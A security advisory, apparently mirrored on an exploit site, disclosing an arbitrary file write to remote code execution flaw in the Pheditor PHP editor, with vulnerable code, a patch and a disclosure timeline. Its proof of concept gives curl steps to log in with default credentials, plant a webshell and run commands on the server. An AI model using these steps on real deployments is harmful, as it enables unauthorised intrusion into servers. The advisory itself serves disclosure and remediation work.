Share
## https://sploitus.com/exploit?id=A5B165EF-3A63-5B9D-BCB6-7BFCA595ABBD
# CVE-2026-XXXXX

## Arbitrary File Write Leading to Remote Code Execution in Pheditor via Unrestricted File Upload

---

### Advisory Information

| Field | Value |
|-------|-------|
| **Ecosystem** | PHP |
| **Package/Product** | Pheditor โ€” PHP File Editor |
| **Affected Versions** | All versions through commit `5e11e1a` |
| **Patched Versions** | None |
| **Severity** | **HIGH (CVSS 8.8)** |
| **CWE** | CWE-434 (Unrestricted File Upload) + CWE-94 (Improper Control of Code Generation) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **Repository** | https://github.com/pheditor/pheditor |
| **Stars** | 181 โญ |

---

### Summary

Pheditor contains an arbitrary file write vulnerability in its `save` action. The `$_POST['file']` parameter is concatenated directly with `MAIN_DIR` and written to via `file_put_contents()` with attacker-controlled `$_POST['data']`. An authenticated attacker can write a PHP webshell to the webroot, achieving remote code execution. Default credentials (`admin`/`admin`) further increase exploitability.

---

### Affected Component

| Field | Value |
|-------|-------|
| **Ecosystem** | PHP |
| **Package** | pheditor/pheditor |
| **Vendor** | pheditor |
| **Affected Versions** | All |
| **Patched Versions** | None |
| **File** | `pheditor.php`, lines 349โ€“357 |

---

### Description

The `save` action in `pheditor.php` concatenates `$_POST['file']` directly with `MAIN_DIR` and writes `$_POST['data']` to the resulting path. A `../` check exists on line 326 but does not prevent writing PHP files within the webroot:

```php
// Line 349-367: save action โ€” both new and existing files
case 'save':
    $file = MAIN_DIR . $_POST['file'];  // โ† user-controlled path
    
    if (isset($_POST['file']) && isset($_POST['data']) && 
        (file_exists($file) === false || is_writable($file))) {
        
        // Branch 1: NEW FILE โ€” no extension validation
        if (file_exists($file) === false) {
            if (in_array('newfile', $permissions) !== true) {
                die(json_error('Permission denied', true));
            }
            file_put_contents($file, $_POST['data']);  // โ† WRITE PHP WEBSHELL
        } 
        // Branch 2: EXISTING WRITABLE FILE โ€” overwrite any writable file
        else if (is_writable($file) === false) {
            echo json_error('File is not writable');
        } else {
            if (in_array('editfile', $permissions) !== true) {
                die(json_error('Permission denied'));
            }
            file_put_contents($file, $_POST['data']);  // โ† OVERWRITE ARBITRARY FILE
        }
    }
```

A `../` path traversal check exists (line 326) but `$_POST['file']` needs no traversal โ€” a `.php` file is written directly into `MAIN_DIR` (the webroot).

Default password: `admin` (SHA-512 hash `c7ad44...`). Line 155 checks `PASSWORD == hash('sha512', 'admin')` and prompts for password change โ€” but many users deploy with defaults.

---

### Proof of Concept

**Environment:** Pheditor deployed at `http://target/pheditor.php`.

**Step 1 โ€” Authenticate:**

```bash
curl -c /tmp/cookies -X POST "http://target/pheditor.php" \
  --data "pheditor_password=admin"
# Default password: admin โ†’ session created
```

**Step 2 โ€” Write webshell:**

```bash
curl -b /tmp/cookies -X POST "http://target/pheditor.php" \
  --data "action=save" \
  --data "file=webshell.php" \
  --data "data="
# Writes PHP webshell to MAIN_DIR/webshell.php
```

**Step 3 โ€” Execute commands:**

```bash
curl "http://target/webshell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

### Impact

| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Read arbitrary files via `open` action |
| Integrity | **HIGH** | Write arbitrary PHP files โ†’ code execution |
| Availability | **HIGH** | Overwrite/destroy application files |

**CVSS 8.8** โ€” requires authentication (PR:L), but default credentials widely known.

---

### Patches

Validate file extensions and restrict writes to allowed directories:

```diff
+ $allowed_ext = ['txt','md','html','css','js','json','xml'];
+ $ext = strtolower(pathinfo($_POST['file'], PATHINFO_EXTENSION));
+ if (!in_array($ext, $allowed_ext)) {
+     die(json_error('File type not allowed'));
+ }
  file_put_contents($file, $_POST['data']);
```

---

### Verification

```bash
git clone https://github.com/pheditor/pheditor && cd pheditor
grep -n "file_put_contents.*file.*data" pheditor.php
# Output: 349, 367 โ€” arbitrary file write
grep -n "PASSWORD.*hash.*sha512.*admin" pheditor.php  
# Output: 155 โ€” default password check
```

---

### References

| Type | URL |
|------|-----|
| Repository | https://github.com/pheditor/pheditor |
| Vulnerable code (new file) | https://github.com/pheditor/pheditor/blob/master/pheditor.php#L349 |
| Vulnerable code (edit file) | https://github.com/pheditor/pheditor/blob/master/pheditor.php#L358 |
| CWE-434 | https://cwe.mitre.org/data/definitions/434.html |
| CWE-94 | https://cwe.mitre.org/data/definitions/94.html |

---

### CVSS v3.1

```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H โ€” 8.8 HIGH

AV:N โ€” Remote over HTTP
AC:L โ€” Simple POST request, no special conditions
PR:L โ€” Authentication required (default password: admin)
UI:N โ€” No user interaction
S:U   โ€” Same security context
C:H   โ€” Read arbitrary files via open action
I:H   โ€” Write PHP webshell โ†’ code execution
A:H   โ€” Overwrite/destroy application files
```

---

### Credits

| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |

---

### Timeline

| Date | Event |
|------|-------|
| 2026-06-27 | Vulnerability discovered |
| 2026-06-27 | Local verification confirmed |
| 2026-06-27 | Vendor notified via private disclosure |
| TBD | Vendor acknowledgment / response |
| TBD | CVE ID assigned and advisory published |
| TBD + 90 days | Coordinated public disclosure |